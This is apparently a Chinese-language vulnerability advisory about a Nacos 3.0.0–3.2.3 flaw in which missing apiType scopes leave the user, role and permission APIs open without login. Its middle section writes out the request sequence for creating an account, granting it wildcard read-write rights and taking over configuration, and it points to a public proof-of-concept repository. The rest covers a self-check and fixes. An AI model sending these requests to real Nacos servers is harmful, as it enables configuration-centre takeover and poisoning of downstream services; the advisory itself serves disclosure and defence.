ARTICLE · 997790
按文档开了鉴权也中招 Nacos 3.x 未授权建管理员
| 漏洞预警 · XVE-2026-53002 |
// 漏洞预警 · 甲方运维必看
按文档开了鉴权也中招Nacos 3.x 未授权建管理员
影响 3.0.0~3.2.3 的 0-day，照官方文档开了鉴权也照样免登录建管理员，直接接管你的配置中心。
| 影响 3.0.0~3.2.3 | 已复现 0-day | 修复 3.2.4 |
安全圈又炸了一个 0-day。靶子是Nacos——阿里开源、国内互联网和政企用得极广的配置中心/注册中心。Spring Cloud Alibaba 默认就是它，大量微服务项目离不开。
这个漏洞最让人后背发凉的地方在于：它不需要你配错任何东西。很多甲方的运维拿着官方文档，老老实实把nacos.core.auth.enabled=true打开、把控制台登录开了，以为这下安全了。结果攻击者在公网或内网，一条 curl 就能免登录建出管理员账号，把你整个配置中心端了。
银遁安全已经实测复现，GitHub 上也出现了可用的 POC。影响版本3.0.0 ~ 3.2.3，官方修复版本3.2.4，民间编号XVE-2026-53002（截至发稿官方尚未分配 CVE）。下面把"它到底漏在哪、攻击者怎么打、你怎么两分钟自查、怎么修"一次讲透。
目录 · Table of Contents
00这是什么漏洞：鉴权"作用域"错配
01攻击者怎么一步步接管配置中心
02两分钟自查：你中招了没
03怎么修：先止血，再根治
04老宋说
00这是什么漏洞：鉴权"作用域"错配
要理解这个洞，得先说 Nacos 的鉴权设计。Nacos 3.x 把接口分成了几个"作用域"（apiType）：OPEN_API、ADMIN_API、CONSOLE_API、SERVER_API等等。每个接口方法上有一个@Secured注解，标记"这个接口归哪个作用域管、需不需要登录"。
按设计，管理类接口（建用户、建角色、授权限）应该标成ADMIN_API，由AuthAdminFilter这个"看门人"把守——只有带了正确管理员身份的请求才放行。
问题出在UserControllerV3、RoleControllerV3、PermissionControllerV3这几个控制器身上：它们的@Secured注解里没有显式写apiType。
没写会怎样？代码里apiType有缺省值，而这个缺省值是OPEN_API——开放接口作用域。
这不是配置错误，是代码层面的设计/实现缺陷。你照文档开了控制台鉴权、开了nacos.core.auth.enabled，也只是把OPEN_API的AuthFilter打开了，但那几个ADMIN_API标记的缺失照样让管理接口裸奔。
注：3.2.4 把整组 Auth v3 接口的apiType都补回了ADMIN_API，相当于把"开关"和"看门人"重新对齐。
01攻击者怎么一步步接管配置中心
实测复现的攻击链非常干净，全在/v3/auth/*路径下，全程不需要任何 token。
第 1 步：免登录建一个普通账号
POST /v3/auth/user
{"username":"pwn","password":"P@ssw0rd!"}
返回 200，账号建好了。
第 2 步：绑一个自定义角色
POST /v3/auth/role
{"role":"pwn_role","username":"pwn"}
注意：直接绑ROLE_ADMIN会被业务层拦掉，所以攻击者走"自定义角色 + 后续授权"这条路。
第 3 步：给这个角色发"通杀"权限
POST /v3/auth/permission
{"role":"pwn_role","resource":"*:*","action":"rw"}
*:*表示所有资源，动作rw表示读写。到这一步，这个自建角色已经具备和你管理员等价的配置读写能力。
第 4 步：登录拿 token
POST /v3/auth/user/login
{"username":"pwn","password":"P@ssw0rd!"}
实测有个坑：新建账号后权限缓存刷新需要等约 15 秒，刚建完立刻登录可能拿不到完整权限，等一会儿再登录即可。
第 5 步：接管配置中心
拿到 token 后，读配置、改配置、下发恶意配置（比如把数据库连接串改成攻击者的库、把密钥换成攻击者的）、甚至借助 Nacos 的配置推送能力投毒下游微服务，都随便。
攻击面就是8848 端口（Nacos 主端口）。生产环境这个端口基本对内网开放，很多还顺手映射到办公网甚至带了公网 IP。前置条件为零——哪怕你控制台鉴权、admin 鉴权全开了，这条链路照样能打。
02两分钟自查：你中招了没
不用上 POC，一条命令就能验。查版本：看application.properties或启动日志里的 Nacos 版本。落在3.0.0 ~ 3.2.3之间，直接进高风险名单。
⚡查接口：从能访问 8848 端口的机器上发一条未授权请求——
GET /v3/auth/user/list
如果返回200且带用户列表数据，说明管理接口没被鉴权拦，你中招了。返回 403/401 才算正常。
GitHub 上的mhtsec/nacos-authscope-poc支持--check-only只做检测不破坏，也支持--no-cleanup跑完整链路不清痕迹，运维自查用--check-only最安全。
03怎么修：先止血，再根治
根治（首选）：升级到Nacos 3.2.4 及以上。官方把整组 Auth v3 接口的apiType补回了ADMIN_API，从根上修掉作用域错配。
临时止血（来不及升级时，二选一）：
| R1 | 开总鉴权开关把nacos.core.auth.enabled=true打开。注意这只是把OPEN_API的AuthFilter打开，并不能完全堵死（根因是 apiType 缺失），但能提高攻击门槛，务必配合 R2。 |
| R2 | 网关限制鉴权路径在反向代理/网关层对/v3/auth/*做来源限制，只允许运维跳板机、CI/CD 等可信来源访问 8848 的鉴权路径，其余一律拒。 |
04老宋说
https://github.com/mhtsec/nacos-authscope-pocend
不想错过文章内容？读完请点一下“在看
”，加个“关注”，您的支持是我创作的动力
期待您的一键三连支持（点赞、在看、分享~）